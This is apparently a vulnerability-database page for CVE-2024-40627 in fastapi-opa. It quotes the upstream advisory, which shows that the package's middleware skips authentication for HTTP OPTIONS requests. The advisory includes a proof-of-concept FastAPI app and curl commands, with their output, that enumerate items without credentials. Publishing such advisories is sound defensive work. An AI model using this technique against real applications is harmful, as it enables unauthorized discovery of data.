Answer in brief
CVE-2024-40627 records a Medium severity (CVSS 5.8) vulnerability in OpaMiddleware does not filter HTTP OPTIONS requests. The current sources do not mark it as known exploited. The current feed maps fastapi-opa (pypi). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 5.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps fastapi-opa (pypi). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| fastapi-opapypi | >=0 <2.0.1 | 2.0.1 |
Published upstream
Jul 15, 2024
Evidence: source:osv:source_dates:source-dates:recordSource modified
Sep 10, 2026
Evidence: source:osv:source_dates:source-dates:recordFirst seen by HOL
Aug 8, 2026
### Summary HTTP `OPTIONS` requests are always allowed by `OpaMiddleware`, even when they lack authentication, and are passed through directly to the application. The maintainer uncertain whether this should be classed as a "bug" or "security issue" – but is erring on the side of "security issue" as an application could reasonably assume OPA controls apply to *all* HTTP methods, and it bypasses more sophisticated policies. ### Details `OpaMiddleware` allows all HTTP `OPTIONS` requests without evaluating it against any policy: https://github.com/busykoala/fastapi-opa/blob/6dd6f8c87e908fe080784a74707f016f1422b58a/fastapi_opa/opa/opa_middleware.py#L79-L80 If an application provides different responses to HTTP `OPTIONS` requests based on an entity existing (such as to indicate whether an entity is writable on a system level), an unauthenticated attacker could discover which entities exist within an application (CWE-204). ### PoC This toy application is based on the behaviour of an app[^1] which can use `fastapi-opa`. The app uses the `Allow` header of a HTTP `OPTIONS` to indicate whether an entity is writable on a "system" level, and returns HTTP 404 for unknown entities: [^1]: an open source app, not written by me ```python # Run with: fastapi dev opa-poc.py --port 9999 from fastapi import FastAPI, Response, HTTPException from fastapi_opa import OPAConfig, OPAMiddleware from fastapi_opa.auth.auth_api_key import APIKeyAuthentication, APIKeyConfig # OPA doesn't actually need to be running for this example opa_host = "http://localhost:8181" api_key_config = APIKeyConfig( header_key = 'ApiKey', api_key = 'secret-key', ) api_key_auth = APIKeyAuthentication(api_key_config) opa_config = OPAConfig(authentication=api_key_auth, opa_host=opa_host) app = FastAPI() app.add_middleware(OPAMiddleware, config=opa_config) WRITABLE_ITEMS = { 1: True, 2: False, } @app.get("/") async def root() -> dict: return {"msg": "success"} @app.get("/items/{item_id}") async def read_item(item_id: int): if item_id not in WRITABLE_ITEMS: raise HTTPException(status_code=404) return {"item_id": item_id} @app.options("/items/{item_id}") async def read_item_options(response: Response, item_id: int) -> dict: if item_id not in WRITABLE_ITEMS: raise HTTPException(status_code=404) response.headers["Allow"] = "OPTIONS, GET" + (", POST" if WRITABLE_ITEMS[item_id] else "") return {} ``` As expected, HTTP `GET` requests fail consistently when unauthenticated, regardless of whether the entity exists, because `read_item()` is never executed: ``` $ curl -i 'http://localhost:9999/items/1' HTTP/1.1 401 Unauthorized server: uvicorn content-length: 26 content-type: application/json {"message":"Unauthorized"} $ curl -i 'http://localhost:9999/items/3' HTTP/1.1 401 Unauthorized server: uvicorn content-length: 26 content-type: application/json {"message":"Unauthorized"} ``` However, HTTP `OPTIONS` requests are never authenticated by `OpaMiddleware`, so are passed straight through to `read_item_options()` and returned to unauthenticated users: ``` $ curl -i -X OPTIONS 'http://localhost:9999/items/1' HTTP/1.1 200 OK server: uvicorn content-length: 2 content-type: application/json allow: OPTIONS, GET, POST {} $ curl -i -X OPTIONS 'http://localhost:9999/items/2' HTTP/1.1 200 OK server: uvicorn content-length: 2 content-type: application/json allow: OPTIONS, GET {} $ curl -i -X OPTIONS 'http://localhost:9999/items/3' HTTP/1.1 404 Not Found server: uvicorn content-length: 22 content-type: application/json {"detail":"Not Found"} ``` ### Versions ``` fastapi-opa==2.0.0 fastapi==0.111.0 ```
Quoted source text, attributed separately from HOL analysis.